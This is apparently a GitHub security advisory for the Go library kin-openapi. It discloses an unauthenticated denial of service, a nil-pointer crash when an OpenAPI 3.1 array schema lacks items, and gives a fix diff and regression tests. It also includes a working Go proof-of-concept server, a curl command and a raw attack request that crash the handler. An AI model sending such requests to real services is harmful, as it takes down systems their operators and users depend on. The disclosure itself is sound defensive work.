GHSA-P6WJ-QRR4-PGH5
Vulnerability from github – Published: 2026-10-15 20:14 – Updated: 2026-10-15 20:14Summary
A nil-pointer dereference in openapi3filter lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI 3.1 operation that declares type: array without items. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting items, and doc.Validate() accepts such schemas with Schema.Items == nil. Request/response decoders then dereference Items with no nil check. The panic is deterministic (100%) on every request to the affected operation. There is no recover() in openapi3filter; under handlers without per-request recover the process can exit.
Details
Spec-validation asymmetry. OpenAPI 3.0 rejects array schemas that omit items (openapi3/schema.go around the TypeArray / newSchemaItemsRequired branch). For OpenAPI 3.1, T.Validate enables jsonSchema2020ValidationEnabled, so that check is skipped and Schema.Items remains nil after a clean doc.Validate().
Vulnerable decoder. The primary request-side crash is in UrlencodedBodyDecoder (still present on this checkout at L1421):
case propType.Is("array"):
items := propSchema.Value.Items.Value // Items == nil → panic
This runs during schema inspection before form values are parsed. Any non-empty application/x-www-form-urlencoded body for the operation reaches the dereference (an empty body is rejected earlier when requestBody.required is true, and never enters the decoder).
The same nil Items also crashes:
| Path | Location | Trigger |
|---|---|---|
MultipartBodyDecoder |
req_resp_decoder.go ~1564 → 1579 |
multipart/form-data part named like the array property |
parseArray → parsePrimitive |
req_resp_decoder.go ~1129 / 1151 |
Array-typed response headers via ValidateResponse, and path/cookie array params |
Middleware / ValidationHandler call ValidateRequest / ValidateResponse directly with no recover, so the panic escapes the library into the application.
Recommended fix. Guard nil Items and return a structured decode/validation error, e.g.:
case propType.Is("array"):
+ if propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {
+ return nil, fmt.Errorf("unsupported schema of request body's property %q: array items required for decoding", propName)
+ }
items := propSchema.Value.Items.Value
Apply equivalent guards in MultipartBodyDecoder and parseArray before calling parsePrimitive.
PoC
Verified against revision c11a4812ba7be3ee3d81453be0c397ee84c238d5, Go 1.25, darwin/arm64.
1. Spec — OpenAPI 3.1 operation with urlencoded body and type: array property without items:
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
2. E2E program — net/http server using the same public entrypoint (gorillamux → openapi3filter.ValidateRequest) real middleware uses. Save as main.go in a module that depends on github.com/getkin/kin-openapi at a vulnerable revision, then go run .:
package main
import (
"fmt"
"log"
"net/http"
"strings"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const spec = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
func main() {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(spec))
if err != nil {
log.Fatal(err)
}
if err := doc.Validate(loader.Context); err != nil {
log.Fatalf("doc.Validate rejected (unexpected for 3.1): %v", err)
}
fmt.Println("SPEC_ACCEPTED; Items ==", doc.Paths.Value("/f").Post.RequestBody.Value.
Content.Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value.Items)
router, err := gorillamux.NewRouter(doc)
if err != nil {
log.Fatal(err)
}
// Direct call (no net/http recover): proves the library itself panics.
req, _ := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pp, _ := router.FindRoute(req)
func() {
defer func() {
if r := recover(); r != nil {
fmt.Printf("DIRECT_PANIC: %v\n", r)
}
}()
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pp, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
fmt.Println("DIRECT_PANIC: none (unexpected)")
}()
mux := http.NewServeMux()
mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
route, pathParams, err := router.FindRoute(r)
if err != nil {
http.Error(w, err.Error(), http.StatusNotFound)
return
}
err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
_, _ = w.Write([]byte("ok\n"))
})
addr := "127.0.0.1:8085"
fmt.Printf("listening on http://%s/f\n", addr)
fmt.Println("attack: curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://" + addr + "/f")
log.Fatal(http.ListenAndServe(addr, mux))
}
3. Observed output (go run .):
SPEC_ACCEPTED; Items == <nil>
DIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference
listening on http://127.0.0.1:8085/f
Then:
curl -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'tags=a' http://127.0.0.1:8085/f
Server log:
http: panic serving 127.0.0.1:…: runtime error: invalid memory address or nil pointer dereference
… openapi3filter.UrlencodedBodyDecoder …/req_resp_decoder.go:1421
… openapi3filter.ValidateRequest …
Stack pins the fault to UrlencodedBodyDecoder at req_resp_decoder.go:1421, called from ValidateRequest → ValidateRequestBody → decodeBody.
Attack request:
POST /f HTTP/1.1
Host: victim
Content-Type: application/x-www-form-urlencoded
tags=a
(Any non-empty body is enough; form content is irrelevant because Items is dereferenced during schema inspection before parsing.)
4. Regression / multi-surface test suite — save as e.g. openapi3filter/array_items_nil_panic_test.go in a checkout of the module and run go test -run TestArrayItemsNilPanic ./openapi3filter/ -v:
package openapi3filter_test
import (
"bytes"
"context"
"fmt"
"io"
"mime/multipart"
"net/http"
"net/http/httptest"
"strings"
"testing"
"github.com/stretchr/testify/require"
"github.com/getkin/kin-openapi/openapi3"
"github.com/getkin/kin-openapi/openapi3filter"
"github.com/getkin/kin-openapi/routers/gorillamux"
)
const urlencodedSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const urlencodedSpec30 = `
openapi: 3.0.3
info: {title: t, version: 1.0.0}
paths:
/f:
post:
requestBody:
required: true
content:
application/x-www-form-urlencoded:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const multipartSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/upload:
post:
requestBody:
required: true
content:
multipart/form-data:
schema:
type: object
properties:
tags: {type: array}
responses:
'200': {description: ok}
`
const responseHeaderSpec31 = `
openapi: 3.1.0
info: {title: t, version: 1.0.0}
paths:
/hdr:
get:
responses:
'200':
description: ok
headers:
X-Tags:
schema: {type: array}
`
func catchPanic(fn func()) (panicValue any) {
defer func() { panicValue = recover() }()
fn()
return nil
}
func TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
schema := doc.Paths.Value("/f").Post.RequestBody.Value.Content.
Get("application/x-www-form-urlencoded").Schema.Value.Properties["tags"].Value
require.True(t, schema.Type.Is("array"))
require.Nil(t, schema.Items)
}
func TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec30))
require.NoError(t, err)
require.Error(t, doc.Validate(loader.Context))
}
func TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=a"))
require.NoError(t, err)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(multipartSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
var buf bytes.Buffer
w := multipart.NewWriter(&buf)
require.NoError(t, w.WriteField("tags", "a"))
require.NoError(t, w.Close())
req, err := http.NewRequest(http.MethodPost, "/upload", &buf)
require.NoError(t, err)
req.Header.Set("Content-Type", w.FormDataContentType())
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateRequest(loader.Context, &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(responseHeaderSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
req, err := http.NewRequest(http.MethodGet, "/hdr", nil)
require.NoError(t, err)
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
got := catchPanic(func() {
_ = openapi3filter.ValidateResponse(loader.Context, &openapi3filter.ResponseValidationInput{
RequestValidationInput: &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
},
Status: http.StatusOK,
Header: http.Header{"X-Tags": []string{"a,b"}},
Body: io.NopCloser(strings.NewReader("")),
})
})
require.NotNil(t, got)
require.Contains(t, fmt.Sprint(got), "nil pointer dereference")
}
func TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
var panicCount int
mux := http.NewServeMux()
mux.HandleFunc("/f", func(w http.ResponseWriter, r *http.Request) {
defer func() {
if recover() != nil {
panicCount++
http.Error(w, "panic in ValidateRequest", http.StatusInternalServerError)
}
}()
route, pathParams, err := router.FindRoute(r)
require.NoError(t, err)
err = openapi3filter.ValidateRequest(r.Context(), &openapi3filter.RequestValidationInput{
Request: r, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
w.WriteHeader(http.StatusOK)
})
srv := httptest.NewServer(mux)
t.Cleanup(srv.Close)
const n = 5
for i := 0; i < n; i++ {
resp, err := http.Post(srv.URL+"/f", "application/x-www-form-urlencoded", strings.NewReader("tags=a"))
require.NoError(t, err)
_, _ = io.ReadAll(resp.Body)
_ = resp.Body.Close()
require.Equal(t, http.StatusInternalServerError, resp.StatusCode)
}
require.Equal(t, n, panicCount)
}
func TestArrayItemsNilPanic_Deterministic(t *testing.T) {
loader := openapi3.NewLoader()
doc, err := loader.LoadFromData([]byte(urlencodedSpec31))
require.NoError(t, err)
require.NoError(t, doc.Validate(loader.Context))
router, err := gorillamux.NewRouter(doc)
require.NoError(t, err)
const attempts = 50
panics := 0
for i := 0; i < attempts; i++ {
req, err := http.NewRequest(http.MethodPost, "/f", strings.NewReader("tags=x"))
require.NoError(t, err)
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
route, pathParams, err := router.FindRoute(req)
require.NoError(t, err)
if catchPanic(func() {
_ = openapi3filter.ValidateRequest(context.Background(), &openapi3filter.RequestValidationInput{
Request: req, PathParams: pathParams, Route: route,
Options: &openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},
})
}) != nil {
panics++
}
}
require.Equal(t, attempts, panics)
}
Observed results on the vulnerable tree:
- 3.1 accepts the schema (
Items == nil); 3.0 rejects it - urlencoded, multipart, and response-header paths all panic with
nil pointer dereference - 50/50 panic rate (100% deterministic)
- E2E httptest server: 5/5 POSTs panic inside
ValidateRequest→ HTTP 500
Impact
- Type: NULL Pointer Dereference → unauthenticated remote denial of service.
- Who is impacted: applications using
github.com/getkin/kin-openapi/openapi3filterto validate requests/responses against OpenAPI 3.1 documents that contain anitems-lesstype: arrayin a urlencoded or multipart body property, or an array-typed response header (or otherparseArraysurfaces). Specs may be author mistakes, codegen output, or attacker-supplied where untrusted documents are loaded —doc.Validate()does not reject them under 3.1. - Attack: a single unauthenticated POST (or response-validation hit) with a tiny non-empty body.
- Consequence: deterministic panic on every request to the operation. With stock
net/http, the server logshttp: panic servingand aborts the connection; without per-request recover (common outside purenet/httphandlers), the process can crash. - Not affected: OpenAPI 3.0 documents (spec validation rejects missing
items); JSON request bodies (different decoder path that does not hit thisItems.Valueinspection).
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/getkin/kin-openapi"
},
"ranges": [
{
"events": [
{
"introduced": "0.136.0"
},
{
"fixed": "0.143.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-97394"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-476"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-15T20:14:54Z",
"nvd_published_at": "2026-10-15T16:18:25Z",
"severity": "HIGH"
},
"details": "### Summary\n\nA nil-pointer dereference in `openapi3filter` lets any unauthenticated client crash a request handler with a single HTTP request against an OpenAPI **3.1** operation that declares `type: array` **without** `items`. OpenAPI 3.1 (JSON Schema 2020-12) permits omitting `items`, and `doc.Validate()` accepts such schemas with `Schema.Items == nil`. Request/response decoders then dereference `Items` with no nil check. The panic is **deterministic (100%)** on every request to the affected operation. There is no `recover()` in `openapi3filter`; under handlers without per-request recover the process can exit.\n\n### Details\n\n**Spec-validation asymmetry.** OpenAPI 3.0 rejects array schemas that omit `items` ([`openapi3/schema.go`](https://github.com/getkin/kin-openapi/blob/master/openapi3/schema.go) around the `TypeArray` / `newSchemaItemsRequired` branch). For OpenAPI 3.1, `T.Validate` enables `jsonSchema2020ValidationEnabled`, so that check is skipped and `Schema.Items` remains nil after a clean `doc.Validate()`.\n\n**Vulnerable decoder.** The primary request-side crash is in [`UrlencodedBodyDecoder`](https://github.com/getkin/kin-openapi/blob/master/openapi3filter/req_resp_decoder.go) (still present on this checkout at L1421):\n\n```go\ncase propType.Is(\"array\"):\n items := propSchema.Value.Items.Value // Items == nil \u2192 panic\n```\n\nThis runs during schema inspection **before** form values are parsed. Any non-empty `application/x-www-form-urlencoded` body for the operation reaches the dereference (an empty body is rejected earlier when `requestBody.required` is true, and never enters the decoder).\n\nThe same nil `Items` also crashes:\n\n| Path | Location | Trigger |\n|---|---|---|\n| `MultipartBodyDecoder` | `req_resp_decoder.go` ~1564 \u2192 1579 | `multipart/form-data` part named like the array property |\n| `parseArray` \u2192 `parsePrimitive` | `req_resp_decoder.go` ~1129 / 1151 | Array-typed **response headers** via `ValidateResponse`, and path/cookie array params |\n\n`Middleware` / `ValidationHandler` call `ValidateRequest` / `ValidateResponse` directly with no recover, so the panic escapes the library into the application.\n\n**Recommended fix.** Guard nil `Items` and return a structured decode/validation error, e.g.:\n\n```diff\n case propType.Is(\"array\"):\n+\tif propSchema.Value.Items == nil || propSchema.Value.Items.Value == nil {\n+\t\treturn nil, fmt.Errorf(\"unsupported schema of request body\u0027s property %q: array items required for decoding\", propName)\n+\t}\n \titems := propSchema.Value.Items.Value\n```\n\nApply equivalent guards in `MultipartBodyDecoder` and `parseArray` before calling `parsePrimitive`.\n\n### PoC\n\nVerified against revision `c11a4812ba7be3ee3d81453be0c397ee84c238d5`, Go 1.25, `darwin/arm64`.\n\n**1. Spec** \u2014 OpenAPI 3.1 operation with urlencoded body and `type: array` property without `items`:\n\n```yaml\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n /f:\n post:\n requestBody:\n required: true\n content:\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n tags: {type: array}\n responses:\n \u0027200\u0027: {description: ok}\n```\n\n**2. E2E program** \u2014 `net/http` server using the same public entrypoint (`gorillamux` \u2192 `openapi3filter.ValidateRequest`) real middleware uses. Save as `main.go` in a module that depends on `github.com/getkin/kin-openapi` at a vulnerable revision, then `go run .`:\n\n```go\npackage main\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst spec = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n /f:\n post:\n requestBody:\n required: true\n content:\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n tags: {type: array}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nfunc main() {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(spec))\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tif err := doc.Validate(loader.Context); err != nil {\n\t\tlog.Fatalf(\"doc.Validate rejected (unexpected for 3.1): %v\", err)\n\t}\n\tfmt.Println(\"SPEC_ACCEPTED; Items ==\", doc.Paths.Value(\"/f\").Post.RequestBody.Value.\n\t\tContent.Get(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value.Items)\n\n\trouter, err := gorillamux.NewRouter(doc)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\t// Direct call (no net/http recover): proves the library itself panics.\n\treq, _ := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pp, _ := router.FindRoute(req)\n\tfunc() {\n\t\tdefer func() {\n\t\t\tif r := recover(); r != nil {\n\t\t\t\tfmt.Printf(\"DIRECT_PANIC: %v\\n\", r)\n\t\t\t}\n\t\t}()\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pp, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tfmt.Println(\"DIRECT_PANIC: none (unexpected)\")\n\t}()\n\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t\terr = openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"ok\\n\"))\n\t})\n\n\taddr := \"127.0.0.1:8085\"\n\tfmt.Printf(\"listening on http://%s/f\\n\", addr)\n\tfmt.Println(\"attack: curl -X POST -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 --data \u0027tags=a\u0027 http://\" + addr + \"/f\")\n\tlog.Fatal(http.ListenAndServe(addr, mux))\n}\n```\n\n**3. Observed output** (`go run .`):\n\n```\nSPEC_ACCEPTED; Items == \u003cnil\u003e\nDIRECT_PANIC: runtime error: invalid memory address or nil pointer dereference\nlistening on http://127.0.0.1:8085/f\n```\n\nThen:\n\n```\ncurl -X POST -H \u0027Content-Type: application/x-www-form-urlencoded\u0027 --data \u0027tags=a\u0027 http://127.0.0.1:8085/f\n```\n\nServer log:\n\n```\nhttp: panic serving 127.0.0.1:\u2026: runtime error: invalid memory address or nil pointer dereference\n\u2026 openapi3filter.UrlencodedBodyDecoder \u2026/req_resp_decoder.go:1421\n\u2026 openapi3filter.ValidateRequest \u2026\n```\n\nStack pins the fault to `UrlencodedBodyDecoder` at `req_resp_decoder.go:1421`, called from `ValidateRequest` \u2192 `ValidateRequestBody` \u2192 `decodeBody`.\n\n**Attack request:**\n\n```\nPOST /f HTTP/1.1\nHost: victim\nContent-Type: application/x-www-form-urlencoded\n\ntags=a\n```\n\n(Any non-empty body is enough; form content is irrelevant because `Items` is dereferenced during schema inspection before parsing.)\n\n**4. Regression / multi-surface test suite** \u2014 save as e.g. `openapi3filter/array_items_nil_panic_test.go` in a checkout of the module and run `go test -run TestArrayItemsNilPanic ./openapi3filter/ -v`:\n\n```go\npackage openapi3filter_test\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"fmt\"\n\t\"io\"\n\t\"mime/multipart\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/getkin/kin-openapi/openapi3\"\n\t\"github.com/getkin/kin-openapi/openapi3filter\"\n\t\"github.com/getkin/kin-openapi/routers/gorillamux\"\n)\n\nconst urlencodedSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n /f:\n post:\n requestBody:\n required: true\n content:\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n tags: {type: array}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nconst urlencodedSpec30 = `\nopenapi: 3.0.3\ninfo: {title: t, version: 1.0.0}\npaths:\n /f:\n post:\n requestBody:\n required: true\n content:\n application/x-www-form-urlencoded:\n schema:\n type: object\n properties:\n tags: {type: array}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nconst multipartSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n /upload:\n post:\n requestBody:\n required: true\n content:\n multipart/form-data:\n schema:\n type: object\n properties:\n tags: {type: array}\n responses:\n \u0027200\u0027: {description: ok}\n`\n\nconst responseHeaderSpec31 = `\nopenapi: 3.1.0\ninfo: {title: t, version: 1.0.0}\npaths:\n /hdr:\n get:\n responses:\n \u0027200\u0027:\n description: ok\n headers:\n X-Tags:\n schema: {type: array}\n`\n\nfunc catchPanic(fn func()) (panicValue any) {\n\tdefer func() { panicValue = recover() }()\n\tfn()\n\treturn nil\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI31Accepts(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\tschema := doc.Paths.Value(\"/f\").Post.RequestBody.Value.Content.\n\t\tGet(\"application/x-www-form-urlencoded\").Schema.Value.Properties[\"tags\"].Value\n\trequire.True(t, schema.Type.Is(\"array\"))\n\trequire.Nil(t, schema.Items)\n}\n\nfunc TestArrayItemsNilPanic_OpenAPI30Rejects(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec30))\n\trequire.NoError(t, err)\n\trequire.Error(t, doc.Validate(loader.Context))\n}\n\nfunc TestArrayItemsNilPanic_UrlencodedValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=a\"))\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_MultipartValidateRequest(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(multipartSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar buf bytes.Buffer\n\tw := multipart.NewWriter(\u0026buf)\n\trequire.NoError(t, w.WriteField(\"tags\", \"a\"))\n\trequire.NoError(t, w.Close())\n\n\treq, err := http.NewRequest(http.MethodPost, \"/upload\", \u0026buf)\n\trequire.NoError(t, err)\n\treq.Header.Set(\"Content-Type\", w.FormDataContentType())\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateRequest(loader.Context, \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_ResponseHeaderValidateResponse(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(responseHeaderSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\treq, err := http.NewRequest(http.MethodGet, \"/hdr\", nil)\n\trequire.NoError(t, err)\n\troute, pathParams, err := router.FindRoute(req)\n\trequire.NoError(t, err)\n\n\tgot := catchPanic(func() {\n\t\t_ = openapi3filter.ValidateResponse(loader.Context, \u0026openapi3filter.ResponseValidationInput{\n\t\t\tRequestValidationInput: \u0026openapi3filter.RequestValidationInput{\n\t\t\t\tRequest: req, PathParams: pathParams, Route: route,\n\t\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t\t},\n\t\t\tStatus: http.StatusOK,\n\t\t\tHeader: http.Header{\"X-Tags\": []string{\"a,b\"}},\n\t\t\tBody: io.NopCloser(strings.NewReader(\"\")),\n\t\t})\n\t})\n\trequire.NotNil(t, got)\n\trequire.Contains(t, fmt.Sprint(got), \"nil pointer dereference\")\n}\n\nfunc TestArrayItemsNilPanic_E2EHTTPServer(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tvar panicCount int\n\tmux := http.NewServeMux()\n\tmux.HandleFunc(\"/f\", func(w http.ResponseWriter, r *http.Request) {\n\t\tdefer func() {\n\t\t\tif recover() != nil {\n\t\t\t\tpanicCount++\n\t\t\t\thttp.Error(w, \"panic in ValidateRequest\", http.StatusInternalServerError)\n\t\t\t}\n\t\t}()\n\t\troute, pathParams, err := router.FindRoute(r)\n\t\trequire.NoError(t, err)\n\t\terr = openapi3filter.ValidateRequest(r.Context(), \u0026openapi3filter.RequestValidationInput{\n\t\t\tRequest: r, PathParams: pathParams, Route: route,\n\t\t\tOptions: \u0026openapi3filter.Options{AuthenticationFunc: openapi3filter.NoopAuthenticationFunc},\n\t\t})\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t})\n\n\tsrv := httptest.NewServer(mux)\n\tt.Cleanup(srv.Close)\n\n\tconst n = 5\n\tfor i := 0; i \u003c n; i++ {\n\t\tresp, err := http.Post(srv.URL+\"/f\", \"application/x-www-form-urlencoded\", strings.NewReader(\"tags=a\"))\n\t\trequire.NoError(t, err)\n\t\t_, _ = io.ReadAll(resp.Body)\n\t\t_ = resp.Body.Close()\n\t\trequire.Equal(t, http.StatusInternalServerError, resp.StatusCode)\n\t}\n\trequire.Equal(t, n, panicCount)\n}\n\nfunc TestArrayItemsNilPanic_Deterministic(t *testing.T) {\n\tloader := openapi3.NewLoader()\n\tdoc, err := loader.LoadFromData([]byte(urlencodedSpec31))\n\trequire.NoError(t, err)\n\trequire.NoError(t, doc.Validate(loader.Context))\n\trouter, err := gorillamux.NewRouter(doc)\n\trequire.NoError(t, err)\n\n\tconst attempts = 50\n\tpanics := 0\n\tfor i := 0; i \u003c attempts; i++ {\n\t\treq, err := http.NewRequest(http.MethodPost, \"/f\", strings.NewReader(\"tags=x\"))\n\t\trequire.NoError(t, err)\n\t\treq.Header.Set(\"Content-Type\", 